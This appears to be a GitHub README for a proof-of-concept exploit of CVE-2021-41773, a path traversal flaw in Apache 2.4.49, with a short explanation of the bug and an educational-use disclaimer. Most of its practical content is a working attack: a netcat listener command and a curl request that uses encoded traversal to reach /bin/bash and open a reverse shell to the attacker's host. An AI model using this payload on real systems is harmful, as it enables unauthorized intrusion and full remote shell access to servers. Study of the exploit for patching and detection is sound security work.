cyberquestor-infosec/cve-2021-41773-apache_2.4.49-path-traversal-to-rce
⚠️ Disclaimer
This repository is intended strictly for educational and research purposes only.
The information and code provided here can be used in controlled environments, such as private lab machines.
Unauthorized use of this code against systems you do not own or have explicit permission to test is illegal and unethical.
The author is not responsible for any misuse or damages caused.
CVE-2021-41773 affects Apache HTTP Server version 2.4.49.
Due to improper input validation in path normalization, an attacker can exploit path traversal using encoded characters like %2e to access arbitrary files.
If CGI is enabled, this vulnerability can be escalated to unauthenticated remote code execution (RCE).
A malicious curl request is crafted to exploit the path traversal flaw. When CGI is enabled, attackers can reach /bin/bash and run arbitrary shell commands.
In this example, a reverse shell payload is sent to gain shell access from the server.
This exploit was tested in a private lab environment. Below are the steps and outcomes.
An Nmap scan identified the target running Apache/2.4.49.
A reverse shell payload was delivered using a crafted curl command.
A reverse shell was successfully obtained on the attacker's listener.
Step 1: Start Netcat Listener
nc -nvlp 4444
Step 1: Run Exploit
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
Apache version is 2.4.49
CGI is enabled
Port 4444 (or your chosen port) is open through the firewall
Check out the detailed walkthrough and theory on my Medium post:
👉 Read the blog on Medium